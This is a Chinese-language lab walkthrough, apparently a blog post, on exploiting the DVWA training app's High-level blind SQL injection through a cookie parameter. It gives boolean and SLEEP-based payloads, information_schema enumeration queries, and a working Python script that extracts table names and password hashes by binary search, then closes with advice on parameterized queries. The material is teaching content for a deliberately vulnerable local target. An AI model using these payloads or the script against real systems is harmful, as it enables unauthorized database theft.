DVWA靶场SQL盲注High级别:Cookie布尔与时间盲注实战
DVWA靶场里的SQL盲注High级别,是我带新人时最喜欢拿出来"卡人"的一关。Low和Medium靠着页面回显、报错信息,半小时就能摸到用户名和密码;到了High,页面开始装哑巴,你输入什么它都只回一句"User ID exists in the database",参数还从地址栏挪进了Cookie,很多人在地址栏里改了半天没反应,第一反应是靶场坏了。其实靶场没坏,是你的信息通道被掐断了。
这篇笔记就围绕DVWA靶场的SQL盲注High级别展开,讲清楚它到底改了什么、布尔盲注和时间盲注在High下怎么落地、手工流程怎么走、脚本怎么写、以及我踩过的那些坑。适合已经通关Low和Medium、正准备啃High的读者,也适合想理解"盲注本质是什么"的朋友。不需要你事先背一堆payload,但需要你愿意动手抓包、看状态码、算时间差。读完你应该能独立把High级别的库名、表名、字段和用户数据完整拖出来,并且知道每一步为什么这么做。
1. High级别到底改了什么:先看清靶子的形状
1.1 从URL到Cookie:注入位置迁移带来的操作变化
Level从Medium升到High,最直观的变化是传参位置。Low是GET,地址栏里?id=1随便改;Medium是POST,得用表单或者抓包工具;High直接换成了Cookie,PHP端读的是$_COOKIE['id'],你在地址栏里写?id=1',服务端压根不看这个参数。这个设计的初衷是模拟"参数藏在请求头里"的场景,实际项目里也确实有把用户标识放在Cookie里的写法,虽然不规范,但存在。
操作上就要换工具了。浏览器F12的Application面板可以直接改Cookie,改完刷新页面;也可以用Cookie Editor这类插件;更常见的是抓包工具,在请求头里手动加一行id=...再重放。我一般用抓包工具,因为改完能立刻看到响应码和响应体,排查起来方便。这里有个细节:Cookie里的分号、空格、引号在部分工具里会被处理掉,如果发现payload没生效,先检查服务端实际收到的Cookie长什么样。
还有一个容易忽略的点:DVWA的security等级本身也是存在Cookie里的。你把security=high改回low,页面立刻变回有回显的模式。所以每次测试前,先确认当前请求里的security值是不是high,别打了半天发现打的是Low,白高兴一场。
1.2 只回一句"存在/不存在":盲注的信息通道
High级别的页面逻辑很简单:查询有结果,输出"User ID exists in the database";没结果,输出"User ID is MISSING from the database"。没有字段名、没有数据、没有报错堆栈。这就是"盲注"的字面意思——你看不见数据库的答案,只能通过"是/否"这一个比特来提问。
这个"是/否"就是全部的突破口。既然页面能区分真假,我们就能把任意一个需要判断的问题塞进SQL里,让数据库替我们回答。比如我想知道数据库名的第一个字符是不是大于100,就构造一个恒真或恒假的条件,看页面返回哪一种结果。一次问一个比特,问得足够多,整个库就出来了。
理解这一点很关键:盲注不是某种特殊的注入技术,它就是普通SQL注入在"无回显"条件下的变体。注入点、闭合方式、SQL语法都没变,变的只是你把数据"读"出来的方式——从"看结果"变成"猜结果"。想通这一层,后面的所有payload都是自然推导出来的,不需要死记。
1.3 LIMIT 1与404状态码:被忽略的两个细节
High级别在SQL末尾加了LIMIT 1,同时在查不到结果时用header()发了一个404状态码。这两点很多人没注意,但都会影响你的判断方式。
LIMIT 1的作用是让查询最多返回一行。对布尔盲注影响不大,因为你本来就是问真假;但对基于UNION的注入基本是毁灭性的——页面不显示数据,UNION拖出来的内容也没地方放。所以High级别下别在UNION上浪费时间,老老实实做布尔或时间盲注。
404状态码则是一个意外收获。查不到结果时,服务端返回的是HTTP 404,浏览器Network面板里一眼就能看到。这意味着你甚至可以不看页面文字,只看状态码就知道真假:200是真,404是假。这比肉眼看文字更快,也更适合脚本判断。我在脚本里就是优先判断status_code == 200,文本匹配只作为兜底。当然,不同版本的DVWA实现略有差异,有的版本可能只改文本不改状态码,所以两条通道都要会看。
2. 动手前的环境校准
2.1 靶场初始化与安全等级确认
开始之前先把环境理顺。DVWA装好之后,先访问setup.php点一下"Create / Reset Database",把数据库重置到默认状态,避免之前测试留下的脏数据影响判断。然后用默认账号登录,进"DVWA Security"页面把等级切成High,保存。
切完之后别急着打,先做一次正常请求:Cookie里只放id=1,看页面是不是返回"exists";再放id=999,看是不是返回"MISSING"并且状态码404。这两步是基线,确认了基线,后面任何异常你都能快速定位是payload的问题还是环境的问题。
我习惯在笔记里记下三个值:正常请求的响应时间、正常请求的状态码、不存在ID的状态码。后面做时间盲注时,响应时间这个基线是定阈值的重要依据;做布尔盲注时,两个状态码就是你的"真/假"信号。别小看这个习惯,它能帮你省掉大量"到底是注入失败还是网络抖动"的纠结。
2.2 抓包工具与Cookie编辑的三种姿势
改Cookie有三种常见方式,各有适用场景。第一种是浏览器开发者工具,Application → Cookies,直接双击值修改,适合快速试探单个payload,改完按Ctrl+F5强制刷新,避免缓存干扰。第二种是浏览器插件,适合需要反复切换多组Cookie的场景,但要注意插件本身可能会对特殊字符做转义。第三种是抓包工具的重放功能,把请求拦下来,在请求头里改id的值再发送,最适合配合脚本做批量测试。
不管用哪种方式,都要保证Cookie里同时存在PHPSESSID、security=high和id三项。少一个都可能被重定向到登录页或者降级到Low。特别是PHPSESSID,会话过期之后服务端会返回302跳转到登录页,这时候你看到的既不是200也不是404,而是302,很多人会误以为是payload被拦截了。遇到302,先重新登录再说。
还有一个实操细节:payload里的空格在Cookie里比较敏感。有些工具会把空格截断,导致-- -变成--,注释失效,SQL报错。我的做法是把空格写成%20,把#写成%23,PHP在解析Cookie时会自动URL解码,服务端收到的还是正常字符。如果你用的是脚本,直接对payload整体做一次URL编码最省心。
2.3 建立基线:正常请求长什么样
基线测试我用三条请求就能完成,记录在一个小表格里,后面所有判断都对着这张表看。
| 请求 | Cookie中的id | 预期状态码 | 预期页面文本 |
|---|---|---|---|
| 正常存在 | 1 | 200 | User ID exists in the database |
| 正常不存在 | 999 | 404 | User ID is MISSING from the database |
| 注入真条件 | 1' AND '1'='1 | 200 | exists |
| 注入假条件 | 1' AND '1'='2 | 404 | MISSING |
如果第三行和第四行分别对应200和404,说明闭合方式找对了,注入点确认存在。如果两行都是200,八成是引号没闭合成功,SQL把整个字符串当成了数字处理,条件根本没生效。这种情况在数字型注入里特别常见:user_id='1 AND 1=2',MySQL会把字符串1 AND 1=2转成数字1,依然匹配到id=1那一行,页面当然返回exists。所以测试闭合一定要带引号,别偷懒。
注意:判断注入点时不要用
OR 1=1。High级别有LIMIT 1,OR 1=1会让所有行都满足条件,页面永远返回exists,真假无法区分。用AND构造条件,才能看出差异。
3. 布尔盲注:把每个字符问出来
3.1 闭合方式与注入点确认
闭合方式的判断是整条链路的地基。DVWA这个点的SQL是SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1,$id被单引号包裹,所以标准闭合是1',注释用#或者-- -。构造1' AND '1'='1#返回200,1' AND '1'='2#返回404,就说明闭合成功。
有时候你可能会遇到1' AND '1'='1返回200但1' AND '1'='2也返回200的情况,这通常不是闭合失败,而是payload被截断了——比如#没被识别成注释,后面的内容被当成SQL语法报错,而报错又被@抑制,页面走了else分支。这时候换-- -试试,或者检查空格有没有被吞掉。
确认闭合之后,先别急着拖库,做一次"版本探测"练手:1' AND substring(version(),1,1)='5'#或者1' AND ascii(substring(version(),1,1))>50#。这一步的目的是验证你构造的条件确实能被数据库求值,而不是被PHP层过滤掉了。版本号探出来是5.x还是8.x,后面写information_schema查询时心里有数,虽然大部分语法通用,但个别函数行为还是有差异。
3.2 库名长度与首字符:最小可用验证
盲注的第一个实战目标通常是当前数据库名。先问长度:1' AND length(database())=4#,如果返回200,说明库名是4个字符;如果404,就依次试5、6、3,直到命中。DVWA默认库名是dvwa,长度4,所以这一发一般就中。
长度确认之后问字符。最笨的办法是等值比较:1' AND substring(database(),1,1)='a'#,从a试到z,26次出一位。这个方法直观,适合第一次理解盲注原理,但效率低得感人。我建议新手至少手工跑完一个字符的等值比较,感受一下"页面告诉我猜对了"的那个瞬间,然后再换二分法。
首字符用等值比较确认是d之后,你其实已经完成了盲注的完整闭环:提出问题、构造条件、观察响应、得出结论。剩下的所有工作,都是把这个闭环重复到不同的表达式上——把database()换成表名子查询,把位置1换成2、3、4,逻辑完全一样。
3.3 二分法加速:从127次到7次
等值比较一位字符最多26次,加上大小写和数字就是36次以上,一个10位的表名要跑三百多次请求。二分法把这个问题压到7次以内:ASCII码范围32到126,每次问"大于mid吗",根据真假缩小区间,最多7次收敛到一个字符。
具体构造:1' AND ascii(substring(database(),1,1))>100#。返回200说明首字符ASCII大于100,返回404说明小于等于100。然后调整mid,继续逼近。以d为例,ASCII是100,第一次问>100返回404,区间缩到32到100;第二次问>66返回200,区间缩到67到100;如此往复,7次内锁定100。
这里有个边界要小心:二分法的循环条件是lo < hi,更新时lo = mid + 1或hi = mid,最后收敛到lo。如果写成lo = mid,遇到相邻两个数时会死循环。我第一版脚本就栽在这,跑着跑着卡住不动,还以为是网络问题,查了半天才发现是循环没退出。
另外,ASCII范围别开太大。有人从0试到255,多花两次请求不说,还可能踩到多字节字符的坑。目标数据基本都是可见字符,32到126足够覆盖库名、表名、字段名和大部分数据。真遇到中文或者特殊字符,再单独放宽范围。
3.4 表名、列名、字段值的逐层剥离
库名出来之后,按"库→表→列→数据"的顺序往下剥。每一步都是同一个套路:先用count问数量,再用length问长度,最后逐字符问内容。
问表的数量:1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=2#。DVWA默认有users和guestbook两张表,试到2返回200就对了。问第一张表的名字长度:1' AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=5#,users长度5,命中。然后逐字符把表名问出来。
列名同理,把information_schema.tables换成information_schema.columns,加WHERE table_name='users',先问列数,再问每一列的名字和长度。最后拖数据:1' AND ascii(substring((SELECT user FROM users LIMIT 0,1),1,1))>100#,把username和password一行一行问出来。DVWA的密码是MD5哈希,32位十六进制,问起来比较费时间,本地环境跑脚本大概几十秒,手工的话建议只验证前几位,确认脚本逻辑对就行。
| 阶段 | 目标表达式 | 说明 |
|---|---|---|
| 库名 | database() | 默认dvwa,长度4 |
| 表数量 | SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() | 默认2张 |
| 表名 | SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT i,1 | 逐个偏移取 |
| 列名 | SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT i,1 | 先问列数再逐列 |
| 数据 | SELECT user FROM users LIMIT i,1 | 逐行逐字符 |
3.5 手工与脚本的衔接点
手工跑到表名就差不多了,再往下纯属体力活。我的习惯是手工验证到"能稳定问出一个表名的前两个字符",确认整条链路没问题,然后把剩下的事交给脚本。这个衔接点很重要:手工阶段负责验证闭合、验证状态码判断、验证注释符,脚本阶段负责规模化的重复劳动。如果直接上脚本,一旦哪里不对,你连是payload错了还是脚本写错了都分不清。
手工阶段还要顺手记下几个"锚点"数据:库名长度4、首字符d、表名users长度5。脚本跑完之后拿这几个值对一遍,全对说明逻辑没问题,有一个不对就回头查对应的环节。这比盲目相信脚本输出要靠谱得多。
4. 时间盲注:当页面只剩下"快"和"慢"
4.1 sleep()的构造与短路陷阱
严格来说,DVWA的High级别用布尔盲注就够了,页面有文本差异,还有404状态码,信息通道很清晰。但时间盲注必须掌握,因为真实场景里经常遇到"页面永远返回同一个结果"的情况,那时候只能靠响应时间读数据。
构造方式是在条件里塞sleep():1' AND IF(ascii(substring(database(),1,1))>100,SLEEP(3),0)#。条件为真就睡3秒,为假立刻返回,你通过测量响应时间判断真假。这里用IF而不是直接AND SLEEP(3),是为了避免短路带来的不确定性。
短路是时间盲注最容易翻车的地方。WHERE user_id='1' AND SLEEP(3)这种写法,如果第一行不匹配,MySQL可能直接跳过SLEEP不求值,你就测不到延迟,误判成条件为假。把条件包进IF里,并且保证前面的user_id='1'是存在的,IF才一定会被求值。如果id=1那一行被删了,先换一个存在的id,别硬套。
还有一个坑:LIMIT 1会影响SLEEP的执行次数。查询只取第一行,SLEEP最多执行一次,所以延迟时间是可控的3秒,不会因为你表里有100行就睡300秒。这一点对脚本超时设置很重要,超时时间至少要是sleep时长的两倍。
4.2 延迟阈值怎么定:实测数据说话
阈值不能拍脑袋。我先测10次正常请求的响应时间,本地环境大概在30到80毫秒之间波动,取中位数50毫秒作为基线。然后测一次sleep(3)的请求,实际响应大概3.05秒。两者差距60倍,阈值设在1.5秒非常安全——低于1.5秒判假,高于1.5秒判真。
如果你在网络环境里测,基线可能到200毫秒甚至更高,抖动也更大。这时候要么加大sleep时长,要么增加采样次数取中位数。我的经验是:sleep时长至少是基线抖动的10倍,重复测3次取中位数,能过滤掉绝大部分网络抖动带来的误判。
| 测量项 | 实测值 | 说明 |
|---|---|---|
| 正常请求基线 | 30~80ms | 取10次中位数约50ms |
| sleep(3)请求 | 约3050ms | 含网络往返 |
| 判定阈值 | 1500ms | 高于判真,低于判假 |
| 超时设置 | 10s | 至少为sleep时长的两倍 |
4.3 时间盲注在High级别的适用边界
时间盲注的代价是慢。一个字符要发一次请求,每次至少等3秒,一个4字符的库名就是12秒起步,拖完整张users表要按分钟算。所以在High级别,我的策略是:能用布尔盲注就用布尔,时间盲注只作为验证手段——比如布尔盲注跑出库名之后,用时间盲注复核第一个字符,确认两条通道结论一致。
时间盲注真正的用武之地是那些"页面永远一样"的场景,比如登录接口只返回"登录失败",或者查询接口对任何输入都返回同样的JSON。这时候状态码、文本、长度全都不可用,只有响应时间还带着信息。掌握它,你的盲注能力才算完整。
5. 自动化脚本:把重复劳动交出去
5.1 请求层:Cookie、超时与重试
脚本用Python的requests就够。核心是把payload塞进Cookie的id字段,同时带上PHPSESSID和security=high。这里建议手动构造Cookie请求头,而不是用cookies=参数,因为requests对Cookie值里的引号、空格、井号的处理不完全可控,手动拼再加一次URL编码最稳。
import requests from urllib.parse import quote BASE = "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" SESSION = "你的PHPSESSID" def check(payload, timeout=10): cookie = f"PHPSESSID={SESSION}; security=high; id={quote(payload, safe='')}" try: r = requests.get(BASE, headers={"Cookie": cookie}, timeout=timeout, allow_redirects=False) if r.status_code == 302: raise RuntimeError("会话失效,请重新登录并更新PHPSESSID") return r.status_code == 200 except requests.RequestException: return None超时设10秒,因为时间盲注的sleep可能到3到5秒。allow_redirects=False是为了捕获302,会话过期时能立刻发现,而不是被自动跳到登录页然后拿到一个200的登录页,误判成条件为真。返回值用None表示请求异常,和True/False区分开,避免网络抖动被当成"假"。
5.2 判断层:状态码优先,文本兜底
判断真假时,状态码是第一优先级,文本是第二优先级。status_code == 200判真,404判假;如果状态码既不是200也不是404,再看响应体里有没有"exists"字样。两条通道都失效,就返回None,让上层重试。
def judge(payload, retry=3): for _ in range(retry): r = check(payload) if r is not None: return r return None def get_length(expr, max_len=64): for n in range(1, max_len + 1): if judge(f"1' AND length({expr})={n}#"): return n return 0 def get_char(expr, pos): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 res = judge(f"1' AND ascii(substring({expr},{pos},1))>{mid}#") if res is None: raise RuntimeError("请求连续失败,检查网络或会话") if res: lo = mid + 1 else: hi = mid return chr(lo)这段代码里有个细节值得说:get_char的二分边界是32到126,while lo < hi配合lo = mid + 1,最后lo == hi时收敛。如果目标字符的ASCII恰好是32或者126,也能正确返回。别小看这个边界,我见过有人写成lo = mid,跑到一半死循环,还以为是目标服务器限流。
5.3 提取层:从库名到MD5
提取层就是把上面的原子函数串起来。先拿库名,再拿表名列表,再拿列名,最后逐行拿数据。表名和列名的枚举需要先问数量,再按偏移逐个取,避免依赖GROUP_CONCAT——那个函数有长度限制,默认1024字节,表多的时候会被截断,而且截断还不报错,特别坑。
def get_tables(): cnt = 0 for i in range(1, 20): if judge(f"1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())={i}#"): cnt = i break tables = [] for i in range(cnt): expr = f"(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {i},1)" length = get_length(expr) name = "".join(get_char(expr, p) for p in range(1, length + 1)) tables.append(name) return tables跑库名的时候,第一个字符出来是d,第二个是v,第三个w,第四个a,和手工结果对上,就可以放心让它往下跑。整条链路跑完,users表的user和password字段会以明文和MD5的形式打印出来。DVWA默认的admin密码是弱口令的MD5,拿去本地比对一下就知道对应什么,这里不展开。
5.4 脚本跑飞后的排查顺序
脚本跑出乱码或者空结果,按这个顺序查:第一,看会话有没有过期,302有没有被捕获;第二,看payload的编码,#有没有被当成锚点截断,空格有没有被吞;第三,看闭合方式,手工再发一次1' AND '1'='1#确认还是200;第四,看目标表达式是不是返回了多行,LIMIT偏移有没有越界;第五,看字符集,目标数据里有没有非ASCII字符导致二分区间不够。
我遇到过一次跑出来一堆\x00,查了半天发现是substring的位置参数从0开始传了,MySQL的substring位置从1开始,传0返回空串,ascii('')返回0,二分法就把0当成了字符。改成从1开始就正常了。这种错误很蠢,但脚本跑起来的时候你根本想不到,只能靠锚点数据对不上来定位。
6. 常见问题速查与实战心得
6.1 现象与原因对照表
High级别的坑集中在Cookie和判断逻辑上,整理成表,遇到问题直接对号入座。
| 现象 | 可能原因 | 处理方式 |
|---|---|---|
| 改地址栏没反应 | High读的是Cookie,不看GET参数 | 改Cookie里的id |
| 所有payload都返回200 | 闭合失败,字符串被转成数字 | 带引号测试,确认AND '1'='2返回404 |
| 返回302跳转 | 会话过期,被重定向到登录页 | 重新登录,更新PHPSESSID |
| 页面文本对但状态码不对 | 不同版本实现差异 | 以文本为准,脚本里做双判断 |
| payload里空格丢失 | Cookie对空格处理不一致 | 用%20编码,或改用#注释 |
| 时间盲注测不到延迟 | 短路导致SLEEP没执行 | 用IF包裹条件,确保前面的id存在 |
| 脚本卡死不退出 | 二分法边界写错,死循环 | 检查lo = mid + 1和hi = mid |
| 表名枚举不完整 | GROUP_CONCAT被截断 | 改用LIMIT偏移逐个取 |
6.2 几条踩出来的经验
第一条,先确认等级再动手。DVWA的security存在Cookie里,切换等级后如果没刷新,或者Cookie被工具覆盖,很可能你打的是Medium。每次开工前发一个id=1' AND '1'='2#,返回404才说明是High,返回页面报错说明是Low,返回固定文本说明是Medium。一发请求确认环境,比事后排查半小时划算。
第二条,别迷信工具的红绿灯。有些工具会把404当成"请求失败"标红,把200标绿,看起来像是注入成功。实际上404才是"假",200才是"真",颜色是给人看的,逻辑要自己判断。我在脚本里坚持用状态码显式比较,就是为了不被工具的可视化误导。
第三条,注释符准备两个。#和-- -在不同环境下的表现不一样,#在URL里会被当锚点,--后面必须跟空格。Cookie里两者都能用,但编码之后的行为有差异。我一般先用#,不生效换-- -,两个都不行就检查是不是闭合方式错了,而不是继续换注释符。
第四条,记录每一次请求。手工阶段用抓包工具的历史记录,脚本阶段把payload和结果写日志。盲注的特点是你不知道哪一发出了问题,没有日志就只能从头再跑一遍。日志里至少要有payload、状态码、响应时间三个字段,出问题时一眼就能定位到具体哪一发。
6.3 从通关到防御:High级别为什么仍然不安全
High级别做了两件事:把参数挪进Cookie,加了LIMIT 1。这两件事都没有触及注入的本质。参数位置变了,注入点还在;LIMIT 1限制了返回行数,但盲注本来就不依赖多行返回。页面不回显数据,看起来像是"防住了",实际上只是把信息通道从"直接读"变成了"间接问",攻击者多花点时间照样能拖库。
真正的修复是参数化查询,把$id作为绑定参数传给预处理语句,让数据和SQL结构彻底分离。其次是统一响应,不管查询成功还是失败,都返回同样的状态码和同样的文本,不给攻击者任何可区分的信号。最后是错误处理,别把数据库报错直接吐到页面上,@抑制错误只是掩耳盗铃,日志里照样有记录。
我个人的体会是,盲注这一关最大的价值不是学会多少个payload,而是理解"信息泄漏"这件事有多难堵。只要应用对不同输入产生可区分的外部表现——状态码、文本、响应时间、甚至响应长度——信息就会一点一点漏出去。防御方要堵住所有通道,攻击方只需要找到一个。这个不对称性,才是盲注真正想教给你的东西。